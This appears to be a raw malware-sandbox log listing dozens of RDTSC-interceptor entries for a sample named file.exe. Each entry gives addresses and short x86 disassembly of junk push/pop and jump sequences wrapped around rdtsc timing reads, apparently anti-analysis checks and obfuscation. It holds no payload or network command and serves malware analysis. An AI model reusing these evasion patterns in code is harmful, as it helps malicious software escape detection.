Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D9CE0 second address: 13D9CE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D9A75 second address: 13D9A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F7650B5E936h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D9A88 second address: 13D9A8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DA56D second address: 13DA571 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DCCD1 second address: 13DCCD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DCCD5 second address: 13DCCDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1396DB8 second address: 1396DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jg 00007F7650B5D3DCh 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1396DCD second address: 1396DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7650B5E936h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DDEA0 second address: 13DDEA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DDEA4 second address: 13DDEA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DDC17 second address: 13DDC1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DDC1B second address: 13DDC25 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7650B5E936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E37B1 second address: 13E37B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E48E0 second address: 13E48EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7650B5E936h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E6796 second address: 13E679A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E48EB second address: 13E49A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7650B5E945h 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 movsx edi, dx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007F7650B5E938h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 0000001Dh 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b jmp 00007F7650B5E942h 0x00000040 pushad 0x00000041 jmp 00007F7650B5E947h 0x00000046 popad 0x00000047 mov eax, dword ptr [ebp+122D0915h] 0x0000004d jmp 00007F7650B5E93Ah 0x00000052 push FFFFFFFFh 0x00000054 push 00000000h 0x00000056 push edi 0x00000057 call 00007F7650B5E938h 0x0000005c pop edi 0x0000005d mov dword ptr [esp+04h], edi 0x00000061 add dword ptr [esp+04h], 00000016h 0x00000069 inc edi 0x0000006a push edi 0x0000006b ret 0x0000006c pop edi 0x0000006d ret 0x0000006e push eax 0x0000006f push eax 0x00000070 push edx 0x00000071 push edx 0x00000072 push edx 0x00000073 pop edx 0x00000074 pop edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E679A second address: 13E67B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F7650B5D3D6h 0x0000000d jo 00007F7650B5D3D6h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push ecx 0x00000017 jp 00007F7650B5D3DCh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E769C second address: 13E76E3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F7650B5E947h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov bl, dh 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 movsx edi, cx 0x00000016 pop ebx 0x00000017 push 00000000h 0x00000019 jmp 00007F7650B5E93Ch 0x0000001e sbb di, E882h 0x00000023 xchg eax, esi 0x00000024 push eax 0x00000025 push edx 0x00000026 jng 00007F7650B5E938h 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E68F2 second address: 13E68F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E76E3 second address: 13E76FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007F7650B5E936h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jnc 00007F7650B5E94Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E78E3 second address: 13E78E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E95FF second address: 13E9619 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5E946h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E9619 second address: 13E961D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E961D second address: 13E962B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E962B second address: 13E962F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E962F second address: 13E9685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D19E4h], eax 0x0000000e push 00000000h 0x00000010 sub dword ptr [ebp+122D2974h], ecx 0x00000016 mov edi, dword ptr [ebp+122D3740h] 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F7650B5E938h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 jno 00007F7650B5E936h 0x0000003e push eax 0x0000003f pushad 0x00000040 pushad 0x00000041 jnc 00007F7650B5E936h 0x00000047 jl 00007F7650B5E936h 0x0000004d popad 0x0000004e pushad 0x0000004f pushad 0x00000050 popad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EB52A second address: 13EB52E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E98C6 second address: 13E98D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 je 00007F7650B5E93Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EC55E second address: 13EC568 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F7650B5D3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EE613 second address: 13EE63A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E943h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F7650B5E93Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EF4BF second address: 13EF4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EF4C3 second address: 13EF532 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov dword ptr [esp], eax 0x0000000d sub dword ptr [ebp+122D2D03h], esi 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F7650B5E938h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f jo 00007F7650B5E93Ch 0x00000035 or dword ptr [ebp+122D2366h], ecx 0x0000003b push 00000000h 0x0000003d mov di, FFBEh 0x00000041 xchg eax, esi 0x00000042 pushad 0x00000043 pushad 0x00000044 push ecx 0x00000045 pop ecx 0x00000046 push ecx 0x00000047 pop ecx 0x00000048 popad 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F7650B5E948h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EF532 second address: 13EF536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EE743 second address: 13EE770 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E93Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F7650B5E949h 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F04E8 second address: 13F0531 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d ja 00007F7650B5D3DCh 0x00000013 push 00000000h 0x00000015 stc 0x00000016 push 00000000h 0x00000018 jmp 00007F7650B5D3E2h 0x0000001d mov bx, F14Eh 0x00000021 xchg eax, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push edi 0x00000026 pop edi 0x00000027 jmp 00007F7650B5D3DEh 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EB739 second address: 13EB73F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F15CD second address: 13F163A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 xor bl, 0000000Eh 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F7650B5D3D8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 jmp 00007F7650B5D3E8h 0x0000002b push 00000000h 0x0000002d jnc 00007F7650B5D3DCh 0x00000033 push eax 0x00000034 pushad 0x00000035 jne 00007F7650B5D3DCh 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F7650B5D3DDh 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F274C second address: 13F2768 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F7650B5E93Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F18A9 second address: 13F18AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F18AE second address: 13F18E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5E947h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jc 00007F7650B5E942h 0x00000011 jmp 00007F7650B5E93Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F2990 second address: 13F2994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F2994 second address: 13F299E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7650B5E936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F299E second address: 13F29C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F7650B5D3DFh 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007F7650B5D3D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F9C83 second address: 13F9C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7650B5E945h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F9C9D second address: 13F9CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F94B9 second address: 13F94D5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7650B5E936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnp 00007F7650B5E936h 0x00000011 push edi 0x00000012 pop edi 0x00000013 push esi 0x00000014 pop esi 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F94D5 second address: 13F94D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD94B second address: 13FD952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD952 second address: 13FD969 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 je 00007F7650B5D3E8h 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F7650B5D3D6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD969 second address: 13FD96D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD96D second address: 13FD9A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F7650B5D3DDh 0x0000000f mov eax, dword ptr [eax] 0x00000011 jmp 00007F7650B5D3E4h 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d jne 00007F7650B5D3D6h 0x00000023 pop edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FDA84 second address: 13FDA96 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FDBA8 second address: 13FDBB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7650B5D3DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406C51 second address: 1406C56 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406DD9 second address: 1406DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406F85 second address: 1406FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7650B5E947h 0x00000009 popad 0x0000000a pushad 0x0000000b jnc 00007F7650B5E936h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406FAA second address: 1406FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406FB0 second address: 1406FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1406FB9 second address: 1406FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14070F0 second address: 14070F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14070F4 second address: 1407104 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F7650B5D3D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1407104 second address: 1407108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1407262 second address: 1407266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C911 second address: 140C95C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F7650B5E944h 0x00000008 jmp 00007F7650B5E93Ah 0x0000000d pop esi 0x0000000e pushad 0x0000000f jmp 00007F7650B5E941h 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jne 00007F7650B5E938h 0x00000023 push eax 0x00000024 pop eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 pop eax 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C95C second address: 140C960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C960 second address: 140C96C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 je 00007F7650B5E936h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CAE4 second address: 140CAEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CAEC second address: 140CB50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7650B5E944h 0x00000009 popad 0x0000000a jno 00007F7650B5E938h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F7650B5E941h 0x00000018 jmp 00007F7650B5E948h 0x0000001d jmp 00007F7650B5E946h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CB50 second address: 140CB55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CE13 second address: 140CE1B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CF99 second address: 140CFA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CFA1 second address: 140CFCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F7650B5E936h 0x0000000a popad 0x0000000b pushad 0x0000000c jnl 00007F7650B5E936h 0x00000012 jmp 00007F7650B5E944h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CFCA second address: 140D002 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3DEh 0x00000007 jng 00007F7650B5D3DCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7650B5D3E7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C4DA second address: 140C4E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7650B5E936h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140D47A second address: 140D4A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7650B5D3E4h 0x00000008 pushad 0x00000009 popad 0x0000000a jne 00007F7650B5D3D6h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140D4A0 second address: 140D4A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140D91C second address: 140D921 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1412DE7 second address: 1412E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007F7650B5E94Dh 0x0000000c jmp 00007F7650B5E947h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jns 00007F7650B5E936h 0x0000001a jmp 00007F7650B5E942h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1412F62 second address: 1412F7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7650B5D3E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1412F7F second address: 1412F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1412F85 second address: 1412FBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7650B5D3E6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7650B5D3E6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1412FBB second address: 1412FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14137B0 second address: 14137C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f jl 00007F7650B5D3D6h 0x00000015 pop ecx 0x00000016 rdtsc
